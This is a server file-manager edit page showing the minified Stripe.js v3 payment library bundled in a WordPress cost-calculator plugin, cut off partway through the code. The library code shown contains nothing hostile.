Файловый менеджер - Редактировать - /home/vspaqvrt/public_html/wp-content/plugins/cost-calculator-builder/frontend/dist/libs/stripe.js
Назад
!function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var n={};t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=0)}([function(e,t,n){e.exports=n(1)},function(e,t,n){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function o(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function i(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function s(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}function c(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}function u(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function l(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}function p(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function d(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function f(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function h(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function _(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function m(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function y(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function v(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function b(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function g(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function w(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function E(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function k(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function S(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function O(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function P(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function A(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function T(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function I(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function C(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function j(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function R(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function N(e,t){var n={};for(var r in e)t.indexOf(r)>=0||Object.prototype.hasOwnProperty.call(e,r)&&(n[r]=e[r]);return n}function M(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function L(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function q(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function D(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function x(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function F(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}function B(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}function U(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function H(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}function z(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function Y(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function W(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function G(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function K(e,t){var n={};for(var r in e)t.indexOf(r)>=0||Object.prototype.hasOwnProperty.call(e,r)&&(n[r]=e[r]);return n}function V(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function $(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function J(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function Q(e,t){var n={};for(var r in e)t.indexOf(r)>=0||Object.prototype.hasOwnProperty.call(e,r)&&(n[r]=e[r]);return n}function Z(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}function X(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function ee(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function te(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function ne(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function re(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}function oe(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}function ie(e,t){var n={};for(var r in e)t.indexOf(r)>=0||Object.prototype.hasOwnProperty.call(e,r)&&(n[r]=e[r]);return n}function ae(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function se(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function ce(e,t){var n={};for(var r in e)t.indexOf(r)>=0||Object.prototype.hasOwnProperty.call(e,r)&&(n[r]=e[r]);return n}function ue(e,t){var n={};for(var r in e)t.indexOf(r)>=0||Object.prototype.hasOwnProperty.call(e,r)&&(n[r]=e[r]);return n}function le(e,t){var n={};for(var r in e)t.indexOf(r)>=0||Object.prototype.hasOwnProperty.call(e,r)&&(n[r]=e[r]);return n}function pe(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}function de(e,t){var n={};for(var r in e)t.indexOf(r)>=0||Object.prototype.hasOwnProperty.call(e,r)&&(n[r]=e[r]);return n}function fe(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function he(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}Object.defineProperty(t,"__esModule",{value:!0});var _e,me,ye,ve,be,ge,we,Ee=function(e){function t(e){r(this,t);var n=o(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return window.__stripeElementsController&&window.__stripeElementsController.reportIntegrationError(e),n.name="IntegrationError",Object.defineProperty(n,"message",{value:n.message,enumerable:!0}),n}return i(t,e),t}(Error),ke=Ee,Se=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"absurd";throw new Error(t)},Oe=n(2),Pe=n.n(Oe),Ae=window.Promise?Promise:Pe.a,Te=Ae,Ie=("function"==typeof Symbol&&Symbol.iterator,function(e,t){for(var n=0;n<e.length;n++)if(t(e[n]))return e[n]}),Ce=function(e,t){for(var n=0;n<e.length;n++)if(t(e[n]))return n;return-1},je=function(e,t){for(var n={},r=0;r<t.length;r++)n[t[r]]=!0;for(var o=[],i=0;i<e.length;i++)n[e[i]]&&o.push(e[i]);return o},Re=function(e,t){var n=0,r=function r(o){for(var i=Date.now()+50;n<e.length&&Date.now()<i;)t(e[n]),n++;n===e.length?o():setTimeout(function(){return r(o)})};return new Te(function(e){return r(e)})},Ne=["aed","afn","all","amd","ang","aoa","ars","aud","awg","azn","bam","bbd","bdt","bgn","bhd","bif","bmd","bnd","bob","brl","bsd","btn","bwp","byr","bzd","cad","cdf","chf","clf","clp","cny","cop","crc","cuc","cup","cve","czk","djf","dkk","dop","dzd","egp","ern","etb","eur","fjd","fkp","gbp","gel","ghs","gip","gmd","gnf","gtq","gyd","hkd","hnl","hrk","htg","huf","idr","ils","inr","iqd","irr","isk","jmd","jod","jpy","kes","kgs","khr","kmf","kpw","krw","kwd","kyd","kzt","lak","lbp","lkr","lrd","lsl","ltl","lvl","lyd","mad","mdl","mga","mkd","mmk","mnt","mop","mro","mur","mvr","mwk","mxn","myr","mzn","nad","ngn","nio","nok","npr","nzd","omr","pab","pen","pgk","php","pkr","pln","pyg","qar","ron","rsd","rub","rwf","sar","sbd","scr","sdg","sek","sgd","shp","skk","sll","sos","srd","ssp","std","svc","syp","szl","thb","tjs","tmt","tnd","top","try","ttd","twd","tzs","uah","ugx","usd","uyu","uzs","vef","vnd","vuv","wst","xaf","xag","xau","xcd","xdr","xof","xpf","yer","zar","zmk","zmw","btc","jep","eek","ghc","mtl","tmm","yen","zwd","zwl","zwn","zwr"],Me=Ne,Le={AE:"AE",AT:"AT",AU:"AU",BE:"BE",BR:"BR",CA:"CA",CH:"CH",DE:"DE",DK:"DK",EE:"EE",ES:"ES",FI:"FI",FR:"FR",GB:"GB",GR:"GR",HK:"HK",IE:"IE",IN:"IN",IT:"IT",JP:"JP",LT:"LT",LU:"LU",LV:"LV",MX:"MX",MY:"MY",NL:"NL",NO:"NO",NZ:"NZ",PH:"PH",PL:"PL",PT:"PT",RO:"RO",SE:"SE",SG:"SG",SI:"SI",SK:"SK",US:"US"},qe=Object.keys(Le),De={live:"live",test:"test",unknown:"unknown"},xe=function(e){return/^pk_test_/.test(e)?De.test:/^pk_live_/.test(e)?De.live:De.unknown},Fe=function(e){if(e===De.unknown)throw new ke("It looks like you're using an older Stripe key. In order to use this API, you'll need to use a modern API key, which is prefixed with 'pk_live_' or 'pk_test_'.\n You can roll your publishable key here: https://dashboard.stripe.com/account/apikeys")},Be=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Ue="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},He=function(e,t,n){return"Invalid value for "+n.label+": "+(n.path.join(".")||"value")+" should be "+e+". You specified: "+t+"."},ze=function(e){return{type:"valid",value:e,warnings:arguments.length>1&&void 0!==arguments[1]?arguments[1]:[]}},Ye=function(e){return{error:e,errorType:"full",type:"error"}},We=function(e,t,n){var r=new ke(He(e,t,n));return Ye(r)},Ge=function(e,t,n){return{expected:e,actual:String(t),options:n,errorType:"mismatch",type:"error"}},Ke=function(e){return function(t,n){return void 0===t?ze(t):e(t,n)}},Ve=function(e,t){return function(n,r){var o=function(e){var t=e.options.path.join(".")||"value";return{error:t+" should be "+e.expected,actual:t+" as "+e.actual}},i=function(e,t,n){return Ye(new ke("Invalid value for "+e+": "+t+". You specified "+n+"."))},a=e(n,r),s=t(n,r);if("error"===a.type&&"error"===s.type){if("mismatch"===a.errorType&&"mismatch"===s.errorType){var c=o(a),u=c.error,l=c.actual,p=o(s),d=p.error,f=p.actual;return i(r.label,u===d?u:u+" or "+d,l===f?l:l+" and "+f)}if("mismatch"===a.errorType){var h=o(a),_=h.error,m=h.actual;return i(r.label,_,m)}if("mismatch"===s.errorType){var y=o(s),v=y.error,b=y.actual;return i(r.label,v,b)}return Ye(a.error)}return"valid"===a.type?a:s}},$e=function(e,t){return function(n,r){var o=Ie(e,function(e){return e===n});if(void 0===o){var i=t?"a recognized string.":"one of the following strings: "+e.join(", ");return Ge(i,n,r)}return ze(o)}},Je=function(e){return function(t,n){return"string"==typeof t&&0===t.indexOf(e)?ze(t):Ge("a string starting with "+e,t,n)}},Qe=function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return $e(t,!1)},Ze=function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return $e(t,!0)},Xe=Qe.apply(void 0,s(qe)),et=Qe.apply(void 0,s(Me)),tt=(Qe.apply(void 0,s(Object.keys(De))),function(e,t){return"string"==typeof e?ze(e):Ge("a string",e,t)}),nt=function(e,t){return function(n,r){return void 0===n?ze(t()):e(n,r)}},rt=function(e,t){return"boolean"==typeof e?ze(e):Ge("a boolean",e,t)},ot=function(e,t){return"number"==typeof e?ze(e):Ge("a number",e,t)},it=function(e){return function(t,n){return"number"==typeof t&&t>e?ze(t):Ge("a number greater than "+e,t,n)}},at=function(e){return function(t,n){return"number"==typeof t&&t===parseInt(t,10)&&(!e||t>=0)?ze(t):Ge(e?"a positive amount in the currency's subunit":"an amount in the currency's subunit",t,n)}},st=function(e,t){return at(!1)(e,t)},ct=function(e,t){return at(!0)(e,t)},ut=function(e,t){return e&&"object"===(void 0===e?"undefined":Ue(e))?ze(e):Ge("an object",e,t)},lt=function(e){return function(t,n){if(Array.isArray(t)){return t.map(function(t,r){return e(t,Be({},n,{path:[].concat(s(n.path),[String(r)])}))}).reduce(function(e,t){return"error"===e.type?e:"error"===t.type?t:ze([].concat(s(e.value),[t.value]),[].concat(s(e.warnings),s(t.warnings)))},ze([]))}return Ge("array",t,n)}},pt=function(e){return function(t){return function(n,r){if(Array.isArray(n)){var o=t(n,r);if("valid"===o.type)for(var i={},a=0;a<o.value.length;a+=1){var s=o.value[a];if("object"===(void 0===s?"undefined":Ue(s))&&s&&"string"==typeof s[e]){var c=s[e];if(i[c])return Ye(new ke("Duplicate value for "+e+": "+c+". The property '"+e+"' of '"+r.path.join(".")+"' has to be unique."));i[c]=!0}}return o}return Ge("array",n,r)}}},dt=function(e){return function(t,n){return void 0===t?ze(void 0):Ge("used in "+e+" instead",t,n)}},ft=function(e){return function(t){return function(n,r){if(n&&"object"===(void 0===n?"undefined":Ue(n))&&!Array.isArray(n)){var o=n,i=Ie(Object.keys(o),function(e){return!t[e]});if(i&&e)return Ye(new ke("Invalid "+r.label+" parameter: "+[].concat(s(r.path),[i]).join(".")+" is not an accepted parameter."));var c=Object.keys(o),u=ze({});return i&&(u=c.reduce(function(e,n){return t[n]?e:ze(e.value,[].concat(s(e.warnings),["Unrecognized "+r.label+" parameter: "+[].concat(s(r.path),[n]).join(".")+" is not a recognized parameter. This may cause issues with your integration in the future."]))},u)),Object.keys(t).reduce(function(e,n){if("error"===e.type)return e;var i=t[n],c=i(o[n],Be({},r,{path:[].concat(s(r.path),[n])}));return"valid"===c.type&&void 0!==c.value?ze(Be({},e.value,a({},n,c.value)),[].concat(s(e.warnings),s(c.warnings))):"valid"===c.type?ze(e.value,[].concat(s(e.warnings),s(c.warnings))):c},u)}return Ge("an object",n,r)}}},ht=ft(!0),_t=ft(!1),mt=function(e,t,n,r){var o=r||{},i=e(t,{origin:o.origin||"",element:o.element||"",label:n,path:[]});return"valid"===i.type?i:"full"===i.errorType?i:{type:"error",errorType:"full",error:new ke(He(i.expected,i.actual,i.options))}},yt=function(e,t,n,r){var o=mt(e,t,n,r);switch(o.type){case"valid":return{value:o.value,warnings:o.warnings};case"error":throw o.error;default:return Se(o)}},vt=/^(http(s)?):\/\//,bt=function(e){return vt.test(e)},gt=function(e){if(!bt(e))return null;var t=document.createElement("a");t.href=e;var n=t.protocol,r=t.host,o=/:80$/,i=/:443$/;return"http:"===n&&o.test(r)?r=r.replace(o,""):"https:"===n&&i.test(r)&&(r=r.replace(i,"")),{host:r,protocol:n,origin:n+"//"+r}},wt=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,n=gt(e);return!!n&&n.host!==(t||window.location.host)},Et=function(e,t){if("/"===t[0]){var n=gt(e);return n?""+n.origin+t:t}return""+e.replace(/\/[^\/]*$/,"/")+t},kt={CARD_ELEMENT:"CARD_ELEMENT",CONTROLLER:"CONTROLLER",METRICS_CONTROLLER:"METRICS_CONTROLLER",PAYMENT_REQUEST_ELEMENT:"PAYMENT_REQUEST_ELEMENT",PAYMENT_REQUEST_BROWSER:"PAYMENT_REQUEST_BROWSER",PAYMENT_REQUEST_GOOGLE_PAY:"PAYMENT_REQUEST_GOOGLE_PAY",IBAN_ELEMENT:"IBAN_ELEMENT",IDEAL_BANK_ELEMENT:"IDEAL_BANK_ELEMENT",AUTHORIZE_WITH_URL:"AUTHORIZE_WITH_URL",CARDINAL_3DS2:"CARDINAL_3DS2",STRIPE_3DS2_CHALLENGE:"STRIPE_3DS2_CHALLENGE",STRIPE_3DS2_FINGERPRINT:"STRIPE_3DS2_FINGERPRINT",AU_BANK_ACCOUNT_ELEMENT:"AU_BANK_ACCOUNT_ELEMENT"},St=kt,Ot=function(e){return"https://js.stripe.com/v3/"+(e||"")},Pt=function(e){switch(e){case"CARD_ELEMENT":return Ot("elements-inner-card-e7bab9c787661374df3c162522bcbb03.html");case"CONTROLLER":return Ot("controller-83edcf4ff783cf07c2c6cd4a030d4ce9.html");case"METRICS_CONTROLLER":return"https://js.stripe.com/m/outer.html";case"PAYMENT_REQUEST_ELEMENT":return Ot("elements-inner-payment-request-a191dcd6db1b014cc3588d4899a5cc56.html");case"PAYMENT_REQUEST_BROWSER":return Ot("payment-request-inner-browser-c80f37c93746d3d17ea1f6322c416d61.html");case"PAYMENT_REQUEST_GOOGLE_PAY":return Ot("payment-request-inner-google-pay-108abed136917cdb07ab2fd522055796.html");case"IBAN_ELEMENT":return Ot("elements-inner-iban-9cf556115efbaa149912815c6dd40a9c.html");case"IDEAL_BANK_ELEMENT":return Ot("elements-inner-ideal-bank-dbb170d2d0666810fc1f89739835a996.html");case"AUTHORIZE_WITH_URL":return Ot("authorize-with-url-inner-5c57ed7ec8e0fb9120ca03244df778e7.html");case"CARDINAL_3DS2":return Ot("cardinal-inner-c5a2442c24bbf0f14ba16c1c123068cd.html");case"STRIPE_3DS2_CHALLENGE":return Ot("three-ds-2-challenge-40b614d6b1accf7ac642f7a0224409ea.html");case"STRIPE_3DS2_FINGERPRINT":return Ot("three-ds-2-fingerprint-0a38db0ae1e245bae73891ba4e16e07e.html");case"AU_BANK_ACCOUNT_ELEMENT":return Ot("elements-inner-au-bank-account-6648e66f4e6f09216c994807f01a39fc.html");default:return Se(e)}},At=Pt,Tt={card:"card",cardNumber:"cardNumber",cardExpiry:"cardExpiry",cardCvc:"cardCvc",postalCode:"postalCode",iban:"iban",idealBank:"idealBank",paymentRequestButton:"paymentRequestButton",auBankAccount:"auBankAccount",fpxBank:"fpxBank",idealBankSecondary:"idealBankSecondary",auBankAccountNumber:"auBankAccountNumber",auBsb:"auBsb",fpxBankSecondary:"fpxBankSecondary"},It=Tt,Ct={PAYMENT_INTENT:"PAYMENT_INTENT",SETUP_INTENT:"SETUP_INTENT"},jt=Ct,Rt=[It.card,It.cardNumber,It.cardExpiry,It.cardCvc,It.postalCode],Nt=Rt,Mt=gt("https://js.stripe.com/v3/"),Lt=Mt?Mt.origin:"",qt={family:"font-family",src:"src",unicodeRange:"unicode-range",style:"font-style",variant:"font-variant",stretch:"font-stretch",weight:"font-weight",display:"font-display"},Dt=Object.keys(qt).reduce(function(e,t){return e[qt[t]]=t,e},{}),xt=[It.idealBank,It.idealBankSecondary,It.fpxBank,It.fpxBankSecondary],Ft=0,Bt=function(e){return""+e+Ft++},Ut=function e(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";return t?(parseInt(t,10)^16*Math.random()>>parseInt(t,10)/4).toString(16):"00000000-0000-4000-8000-000000000000".replace(/[08]/g,e)},Ht="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},zt=function e(t,n){var r=[];return Object.keys(t).forEach(function(o){var i=t[o],a=n?n+"["+o+"]":o;if(i&&"object"===(void 0===i?"undefined":Ht(i))){var s=e(i,a);""!==s&&(r=[].concat(c(r),[s]))}else void 0!==i&&null!==i&&(r=[].concat(c(r),[a+"="+encodeURIComponent(String(i))]))}),r.join("&").replace(/%20/g,"+")},Yt=zt,Wt=n(6),Gt=n.n(Wt),Kt=function(){function e(e,t){var n=[],r=!0,o=!1,i=void 0;try{for(var a,s=e[Symbol.iterator]();!(r=(a=s.next()).done)&&(n.push(a.value),!t||n.length!==t);r=!0);}catch(e){o=!0,i=e}finally{try{!r&&s.return&&s.return()}finally{if(o)throw i}}return n}return function(t,n){if(Array.isArray(t))return t;if(Symbol.iterator in Object(t))return e(t,n);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),Vt=function(e,t){var n={};t.forEach(function(e){var t=Kt(e,2),r=t[0],o=t[1];r.split(/\s+/).forEach(function(e){e&&(n[e]=n[e]||o)})}),e.className=Gt()(e.className,n)},$t=function(e,t){e.style.cssText=Object.keys(t).map(function(e){return e+": "+t[e]+" !important;"}).join(" ")},Jt=function(e){try{return window.parent.frames[e]}catch(e){return null}},Qt=function(e){if(!document.body)throw new ke("Stripe.js requires that your page has a <body> element.");return e(document.body)},Zt=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Xt=function(e){var t=e.frameId,n=e.controllerId,r=e.type,o=Lt,i=void 0;"controller"===r?i=Jt(t):"group"===r?i=Jt(n):"outer"===r?i=window.frames[t]:"inner"===r&&(o="*",i=window.parent),i&&i.postMessage(JSON.stringify(Zt({},e,{__stripeJsV3:!0})),o)},en=function(e){try{var t="string"==typeof e?JSON.parse(e):e;return t.__stripeJsV3?t:null}catch(e){return null}},tn=(n(7),function(e,t){var n=e._isUserError||"IntegrationError"===e.name;throw t&&!n&&t.report("fatal.uncaught_error",{iframe:!1,name:e.name,element:"outer",message:e.message||e.description,fileName:e.fileName,lineNumber:e.lineNumber,columnNumber:e.columnNumber,stack:e.stack&&e.stack.substring(0,1e3)}),e}),nn=function(e,t){return function(){try{return e.call(this)}catch(e){return tn(e,t||this&&this._controller)}}},rn=function(e,t){return function(n){try{return e.call(this,n)}catch(e){return tn(e,t||this&&this._controller)}}},on=function(e,t){return function(n,r){try{return e.call(this,n,r)}catch(e){return tn(e,t||this&&this._controller)}}},an=function(e,t){return function(n,r,o){try{return e.call(this,n,r,o)}catch(e){return tn(e,t||this&&this._controller)}}},sn=function(e,t){return function(){try{for(var n=arguments.length,r=Array(n),o=0;o<n;o++)r[o]=arguments[o];return e.call.apply(e,[this].concat(r))}catch(e){return tn(e,t||this&&this._controller)}}},cn=function e(){var t=this;u(this,e),this._emit=function(e){for(var n=arguments.length,r=Array(n>1?n-1:0),o=1;o<n;o++)r[o-1]=arguments[o];return(t._callbacks[e]||[]).forEach(function(e){var t=e.fn;if(t._isUserCallback)try{t.apply(void 0,r)}catch(e){throw e._isUserError=!0,e}else t.apply(void 0,r)}),t},this._once=function(e,n){var r=function r(){t._off(e,r),n.apply(void 0,arguments)};return t._on(e,r,n)},this._removeAllListeners=function(){return t._callbacks={},t},this._on=function(e,n,r){return t._callbacks[e]=t._callbacks[e]||[],t._callbacks[e].push({original:r,fn:n}),t},this._validateUserOn=function(e,t){},this._userOn=function(e,n){if("string"!=typeof e)throw new ke("When adding an event listener, the first argument should be a string event name.");if("function"!=typeof n)throw new ke("When adding an event listener, the second argument should be a function callback.");return t._validateUserOn(e,n),n._isUserCallback=!0,t._on(e,n)},this._hasRegisteredListener=function(e){return t._callbacks[e]&&t._callbacks[e].length>0},this._off=function(e,n){if(n){for(var r=t._callbacks[e],o=void 0,i=0;i<r.length;i++)if(o=r[i],o.fn===n||o.original===n){r.splice(i,1);break}}else delete t._callbacks[e];return t},this._callbacks={};var n=on(this._userOn),r=on(this._off),o=on(this._once),i=rn(this._hasRegisteredListener),a=rn(this._removeAllListeners),s=sn(this._emit);this.on=this.addListener=this.addEventListener=n,this.off=this.removeListener=this.removeEventListener=r,this.once=o,this.hasRegisteredListener=i,this.removeAllListeners=a,this.emit=s},un=cn,ln=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},pn=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),dn=function(e){function t(e,n,r){p(this,t);var o=d(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return o._sendFAReq=function(e){var t=Bt(e.tag);return new Te(function(n,r){o._requests[t]={resolve:n,reject:r},o._send({message:{action:"stripe-frame-action",payload:{nonce:t,faReq:e}},type:"outer",frameId:o.id,controllerId:o._controllerId})})},o.action={perform3DS2Challenge:function(e){return o._sendFAReq({tag:"PERFORM_3DS2_CHALLENGE",value:e})},perform3DS2Fingerprint:function(e){return o._sendFAReq({tag:"PERFORM_3DS2_FINGERPRINT",value:e})},show3DS2Spinner:function(e){return o._sendFAReq({tag:"SHOW_3DS2_SPINNER",value:e})},performCardinal3DS2:function(e){return o._sendFAReq({tag:"PERFORM_CARDINAL_3DS2",value:e})},checkCanMakePayment:function(e){return o._sendFAReq({tag:"CHECK_CAN_MAKE_PAYMENT",value:e})}},o.type=e,o.loaded=!1,o._controllerId=n,o._persistentMessages=[],o._queuedMessages=[],o._requests={},o.id=o._generateId(),o._iframe=o._createIFrame(r),o._on("load",function(){o.loaded=!0,o._ensureMounted(),o.loaded&&(o._persistentMessages.forEach(function(e){return o._send(e)}),o._queuedMessages.forEach(function(e){return o._send(e)}),o._queuedMessages=[])}),o}return f(t,e),pn(t,[{key:"_generateId",value:function(){return Bt("__privateStripeFrame")}},{key:"send",value:function(e){this._send({message:e,type:"outer",frameId:this.id,controllerId:this._controllerId})}},{key:"sendPersistent",value:function(e){this._ensureMounted();var 